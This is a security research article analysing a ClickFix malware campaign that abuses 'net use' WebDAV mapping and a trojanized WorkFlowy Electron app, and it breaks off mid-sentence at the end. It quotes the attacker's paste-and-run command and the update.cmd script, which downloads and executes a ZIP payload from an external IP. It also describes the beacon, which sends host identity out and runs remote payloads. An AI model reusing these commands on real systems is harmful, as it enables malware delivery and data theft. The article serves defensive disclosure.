Investigating a New Click-Fix Variant

Researchers discovered a new ClickFix malware variant that uses a 'net use' command and a trojanized WorkFlowy Electron app to bypass security controls like Microsoft Defender for Endpoint.

** Summary**

Atos Researchers identified a new variant of the popular ClickFix technique, where attackers convince the user to execute a malicious command on their own device through the Win + R shortcut. In this variation, a “net use” command is used to map a network drive from an external server, after which a “.cmd” batch file hosted on that drive is executed. Script downloads a ZIP archive, unpacks it, and executes the legitimate WorkFlowy application with modified, malicious logic hidden inside “.asar” archive. This acts as a C2 beacon and a dropper for the final malware payload.

Attack overview

In this version, the initial vector of attack is the same as in all the other ones, a web page posing as a captcha mechanism – “happyglamper[.]ro”. It prompts the user to open the Run application via “Win+R”, followed by “Ctrl+V” and “Enter”

This executes the following command:

“cmd.exe” /c net use Z: https://94.156.170[.]255/webdav /persistent:no && “Z:\update.cmd” & net use Z: /delete

Typically, at this stage, attackers have used PowerShell or mshta to download and execute the next stage of the malware. Here, instead, we can see that “net use” is being used to map and connect to a network drive of an external server from which a Batch script is executed. While not novel, these TTPs were never seen in ClickFix attacks before. Combined with the next uncommon stages of infection patterns, this campaign gives Adversaries high chances to evade defensive controls and stay under the radar of defenders.

In this case, the observed ClickFix variant of execution flow successfully bypassed the detection of Microsoft Defender for Endpoint. Atos security teams were able to detect it only thanks to the internal Threat Hunting service focusing on the main behavioral aspect of the ClickFix technique – initial execution through the RunMRU registry key (hunting query available in the Appendix section).

The initial execution script “update.cmd” is loaded from the mapped drive and executed; after that, the mapped drive is removed. Content of “update.cmd”:

start "" /min powershell -WindowStyle Hidden -Command "Invoke-WebRequest 'https://94.156.170[.]255/flowy.zip' -OutFile \"$env:TEMP\dl.zip\";
Expand-Archive \"$env:TEMP\dl.zip\" -DestinationPath \"$env:LOCALAPPDATA\MyApp\" -Force;
Start-Process \"$env:LOCALAPPDATA\MyApp\WorkFlowy.exe\""

This spawns a PowerShell instance which downloads a zip archive and extracts it into “%LOCALAPPDATA%\MyApp\” directory. Then it executes “WorkFlowy.exe” binary.

WorkFlowy analysis

The archive contains a WorkFlowy desktop application (version 1.4.1050), signed by the developer “FunRoutine Inc.”, distributed as an Electron application bundle. Electron applications are written using popular web technologies – HTML, CSS, and JavaScript – and use “.asar” archives to pack source code during application packing. It is done for various reasons, like mitigating issues around long path names on Windows. The malicious code was injected into main.js, the Node.js entry point of the app, hidden inside the app.asar archive.

Technical Profile

Infection Vector

The malicious ASAR archive is a direct replacement for the legitimate resources/app.asar. The attacker repackaged an older version of the app (v1.4 vs. the current v4.3) with injected code.

Malicious Code (Dropper/Beacon)

When WorkFlowy is executed, it looks for app.asar file in the relative path hardcoded into the binary. It then reads the main.js file from inside of it, decodes it to a string, and parses it to the embedded V8 Google JavaScript engine, which executes it. Attackers have replaced the legitimate main.js with one they have created themselves. Instead of well-structured scripts, they have used heavily obfuscated on-liner structure, adding malicious code on top of legitimate one, ensuring it is executed first and blocking WorkFlowy functionality.

Malicious code contains several critical functions:

**Malware executes before the legitimate application starts:**The injected IIFE opens with await f() — the infinite C2 beacon loop. Because f() never resolves, all legitimate WorkFlowy initialization code that follows is permanently blocked. The malware runs with full Node.js privileges immediately on launch.**Persistent victim fingerprinting via %APPDATA%\id.txt:**A random 8-character alphanumeric ID is generated on first run and written to %APPDATA%\id.txt. On subsequent runs, the stored ID is read back, giving the attacker a stable identifier for each victim machine across sessions.**C2 beacon — exfiltrates host identity every 2 seconds:**Function u() sends an HTTP POST containing the victim's unique ID, machine name, and Windows username to the C2 server. The loop in f() repeats this indefinitely with a 2-second interval.**Remote payload download and execution:**Function p() receives a task object from the C2, decodes base64-encoded file contents, writes them to a timestamped directory under %TEMP%, and executes any .exe via child_process.exec.

If the C2 connection is not established, no files or directories are generated. At the time of this analysis, the C2 domain was already unresponsive.

Why Electron is an Effective Delivery mechanism

The malicious code runs in the Node.js main process - outside the Chromium sandbox - with the full privileges of the logged-in user, allowing for the malicious code to execute any actions the user is allowed to do on the system. No files are actually written to disk, and since the malicious payload is packed inside “.asar” archive, it additionally helps to hide malicious code.

Persistence

No OS-level persistence is implemented via the dropper. The beacon runs only while WorkFlowy is open. The only artifact written to disk before next stage delivery is %APPDATA%\id.txt (victim tracking ID), and that is only if the connection to C2 is established correctly. Presumably, an OS-level persistence is delegated to whatever payload the C2 delivers via the dropper.

Key takeaways

This ClickFix variant is significant because it moves initial access away from commonly abused scripting and execution engines such as PowerShell, MSHTA, and WScript, and instead relies on net use to abuse WebDAV as a delivery mechanism. Previous ClickFix campaigns typically exposed themselves by directly invoking interpreters or living‑off‑the‑land binaries that are heavily monitored by modern EDR solutions. In contrast, this iteration mounts a remote WebDAV share as a local drive, executes a hosted batch file through standard filesystem semantics, and removes the mapping immediately after use. This shows that ClickFix still evolves, expanding its arsenal of proxy execution methods and starting to utilize native networking ut

Source: The Hacker News